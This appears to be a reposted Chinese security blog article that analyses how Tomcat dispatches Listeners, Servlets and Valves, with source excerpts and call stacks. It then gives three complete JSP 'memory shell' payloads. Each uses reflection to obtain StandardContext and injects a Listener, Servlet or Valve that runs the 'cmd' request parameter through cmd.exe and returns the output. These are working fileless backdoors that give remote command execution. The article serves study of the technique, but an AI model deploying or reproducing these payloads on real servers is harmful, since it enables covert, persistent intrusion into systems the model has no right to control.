5.3 Listener流程分析

在自定义的requestInitialized处下断点
函数调用栈如下:

requestInitialized:14, HelloListener (org.example.listener)
fireRequestInitEvent:5663, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:673, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:389, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

在StandardHostValve的invoke方法中

进入StandardContext的fireRequestInitEvent方法

在这个方法中调用listener的requestInitialized方法
需要考虑两个问题,第一:instances怎么来的?第二:requestInitialized方法中的参数event怎么来的?
第一个问题:在fireRequestInitEvent方法中,第一行就是获取instances,如下

Object instances[] = getApplicationEventListeners();

查看此函数

@Override
public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

所以listener存放在applicationEventListenersList属性中,所以在StandardContext中找到能够向applicationEventListenersList添加listener的方法
方法1:

/**
 * Add a listener to the end of the list of initialized application event listeners.
 *
 * @param listener The listener to add
 */
public void addApplicationEventListener(Object listener) {
    applicationEventListenersList.add(listener);
}

方法2:

/**
 * {@inheritDoc} Note that this implementation is not thread safe. If two threads call this method concurrently, the
 * result may be either set of listeners or a the union of both.
 */
@Override
public void setApplicationEventListeners(Object listeners[]) {
    applicationEventListenersList.clear();
    if (listeners != null && listeners.length > 0) {
        applicationEventListenersList.addAll(Arrays.asList(listeners));
    }
}

第二个问题:event如何构造?在fireRequestInitEvent方法中由如下代码构造

ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);

5.4 Listener内存马

listenMemshell.jsp:

<%--
  Created by IntelliJ IDEA.
  User: Dili
  Date: 2023/9/19
  Time: 14:41
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
    public class MyListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null) {
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")}).getInputStream();
                    Scanner scanner = new Scanner(in).useDelimiter("\\A");
                    String out = scanner.hasNext()?scanner.next():"";
                    Field requestFiled = req.getClass().getDeclaredField("request");
                    requestFiled.setAccessible(true);
                    Request request = (Request) requestFiled.get(req);
                    request.getResponse().getWriter().write(out);
                } catch (Exception e) {}
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {

        }
    }
%>

<%
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    Request req = (Request) reqField.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listener = new MyListener();
    context.addApplicationEventListener(listener);
%>

先访问listenMemshell.jsp生成内存马,然后访问任意路径,加上cmd参数即可命令执行

6. Servlet

6.1 例子

创建HelloServlet类

package org.example.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(value = "/hello", name = "hello")
public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
        System.out.println("doget");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
        System.out.println("dopost");
    }
}

web.xml中添加配置

<servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>org.example.servlet.HelloServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

在doGet方法下断点,调试
函数调用栈:

doGet:15, HelloServlet (org.example.servlet)
service:502, HttpServlet (javax.servlet.http)
service:596, HttpServlet (javax.servlet.http)
internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilter:17, HelloFilter (org.example.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:167, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:673, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:389, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

6.2 分析

在StandardContext中,与servlet相关的有这两个属性:
children:

servletMappings:

查看实现类ApplicationContext中的addServlet方法

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet,
        Map<String, String> initParams) throws IllegalStateException {
    // servlet不能为空
    if (servletName == null || servletName.equals("")) {
        throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", servletName));
    }

    // TODO Spec breaking enhancement to ignore this restriction
    checkState("applicationContext.addServlet.ise");
    // 根据name在context的children中获取对应的Wrapper
    Wrapper wrapper = (Wrapper) context.findChild(servletName);

    // Assume a 'complete' ServletRegistration is one that has a class and
    // a name
    // 如果不存在对应的Wrapper,就创建一个
    if (wrapper == null) {
        wrapper = context.createWrapper();
        wrapper.setName(servletName);
        context.addChild(wrapper);
    } else {
        if (wrapper.getName() != null && wrapper.getServletClass() != null) {
            if (wrapper.isOverridable()) {
                wrapper.setOverridable(false);
            } else {
                return null;
            }
        }
    }

    ServletSecurity annotation = null;
    if (servlet == null) {
        // 设置servletClass
        wrapper.setServletClass(servletClass);
        Class<?> clazz = Introspection.loadClass(context, servletClass);
        if (clazz != null) {
            annotation = clazz.getAnnotation(ServletSecurity.class);
        }
    } else {
        // 设置servletClass
        wrapper.setServletClass(servlet.getClass().getName());
        wrapper.setServlet(servlet);
        if (context.wasCreatedDynamicServlet(servlet)) {
            annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
        }
    }

    if (initParams != null) {
        for (Map.Entry<String, String> initParam : initParams.entrySet()) {
            wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
        }
    }

    //创建AoolicationServletRegistration对象并返回
    ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, context);
    if (annotation != null) {
        registration.setServletSecurity(new ServletSecurityElement(annotation));
    }
    return registration;
}

然后在ApplicationServletRegistration的addMapping中

@Override
public Set<String> addMapping(String... urlPatterns) {
    if (urlPatterns == null) {
        return Collections.emptySet();
    }

    Set<String> conflicts = new HashSet<>();

    for (String urlPattern : urlPatterns) {
        String wrapperName = context.findServletMapping(urlPattern);
        if (wrapperName != null) {
            Wrapper wrapper = (Wrapper) context.findChild(wrapperName);
            if (wrapper.isOverridable()) {
                // Some Wrappers (from global and host web.xml) may be
                // overridden rather than generating a conflict
                context.removeServletMapping(urlPattern);
            } else {
                conflicts.add(urlPattern);
            }
        }
    }

    if (!conflicts.isEmpty()) {
        return conflicts;
    }
    // 向context中添加URL和对应的wrapper
    for (String urlPattern : urlPatterns) {
        context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), wrapper.getName());
    }

    if (constraint != null) {
        context.addServletSecurity(this, constraint);
    }

    return Collections.emptySet();
}

这个方法调用了StandardContext的addServletMappingDecoded方法,添加URL路径与Wrapper对象的映射

@Override
public void addServletMappingDecoded(String pattern, String name, boolean jspWildCard) {
    // Validate the proposed mapping
    if (findChild(name) == null) {
        throw new IllegalArgumentException(sm.getString("standardContext.servletMap.name", name));
    }
    String adjustedPattern = adjustURLPattern(pattern);
    if (!validateURLPattern(adjustedPattern)) {
        throw new IllegalArgumentException(sm.getString("standardContext.servletMap.pattern", adjustedPattern));
    }

    // Add this mapping to our registered set
    synchronized (servletMappingsLock) {
        String name2 = servletMappings.get(adjustedPattern);
        if (name2 != null) {
            // Don't allow more than one servlet on the same pattern
            Wrapper wrapper = (Wrapper) findChild(name2);
            wrapper.removeMapping(adjustedPattern);
        }
        // 这里
        servletMappings.put(adjustedPattern, name);
    }
    Wrapper wrapper = (Wrapper) findChild(name);
    wrapper.addMapping(adjustedPattern);

    fireContainerEvent("addServletMapping", adjustedPattern);
}

通过这个方法在servletMappings中添加URL路径与name的映射

6.3 Servlet内存马

servletMemshell.jsp:

<%--
  Created by IntelliJ IDEA.
  User: Dili
  Date: 2023/9/19
  Time: 18:43
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<% class MyServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if(req.getParameter("cmd") != null) {
            InputStream in = null;
            try {
                in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")}).getInputStream();
                Scanner scanner = new Scanner(in).useDelimiter("\\A");
                String out = scanner.hasNext()?scanner.next():"";
                resp.getWriter().write(out);
            } catch (Exception e) {}
        }
    }

    @Override
    public void destroy() {
        super.destroy();
    }
}
%>

<%
    try {
        String myServletname = "myServletShell";

        // 获取应用程序上下文对象(ApplicationContextFacade)
        ServletContext servletContext = request.getSession().getServletContext();

        if(servletContext.getServletRegistration(myServletname) == null) {
            // 获取ApplicationContext
            Field applicationContextField = servletContext.getClass().getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

            // 获取StandardContext
            Field standardConextField = applicationContext.getClass().getDeclaredField("context");
            standardConextField.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardConextField.get(applicationContext);

            // 创建自定义的servlet
            MyServlet myServlet = new MyServlet();

            // 使用Wrapper封装Servlet
            Wrapper wrapper = standardContext.createWrapper();
            wrapper.setName(myServletname);
            wrapper.setServletClass(myServlet.getClass().getName());
            wrapper.setServlet(myServlet);

            // 向standardContext中的child添加wrapper
            standardContext.addChild(wrapper);

            // 向servletMappings中添加
            standardContext.addServletMappingDecoded("/myservlet", myServletname);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
%>

7. Valve

7.1 简介

Tomcat中定义了两个接口,分别是Pipeline(管道)和Valve(阀),参考一张图:

如上图所示,Tomcat每个层级的容器()都维持一个管道(Pipeline示例),在ContainerBase中实例化了一个PipeLine对象,而如StandardContext这些类继承ContainerBase类

protected final Pipeline pipeline = new StandardPipeline(this);

而且在每个层级的容器中,都有基础的Valve,如StandardHostValve、StandardEngineValve、StandardContextValve、StandardWrapperValve,都继承了ValveBase基础类,它们位于各容器管道的最后一个位置(即图中的basic位置),并且在invoke方法中,都存在获取下一个管道并且调用下一个管道第一个阀门的代码

ValveBase类继承了Valve接口,这个类实现了生命接口及MBean接口

Pipeline接口:

Valve接口:

7.2 例子

HelloValve类:

package org.example.valve;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;

public class HelloValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("yes");
    }
}

Tomcat中的server.xml配置:

<Valve className="org.example.valve.HelloValve" />

7.3 Valve内存马

valveMemshell.jsp:

<%--
  Created by IntelliJ IDEA.
  User: Dili
  Date: 2023/9/22
  Time: 23:12
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%!
    public class ValveShell extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            if(request.getParameter("cmd") != null) {
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", request.getParameter("cmd")}).getInputStream();
                    Scanner scanner = new Scanner(in).useDelimiter("\\A");
                    String out = scanner.hasNext()?scanner.next():"";
                    response.getWriter().write(out);
                } catch (Exception e) {}
            }
        }
    }
%>

<%
    ServletContext serverContext = request.getSession().getServletContext();
    Field applicationContextField = serverContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(serverContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    ValveShell myValveShell = new ValveShell();
    standardContext.getPipeline().addValve(myValveShell);

%>

9. 总结

本文对涉及的代码进行了逐行阅读,重要部分也加上了注释。由于篇幅原因,Valve部分没有详细描述,原理相似。在学习内存马之前没有深入理解过Tomcat底层的原理,包括脚本启动、初始化类加载器、解析文件、启动组件等,这些前置知识很重要,详细后续再更新..

10. 参考

JavaWeb 内存马一周目通关攻略


文章来源: https://xz.aliyun.com/t/13024
如有侵权请联系:admin#unsafe.sh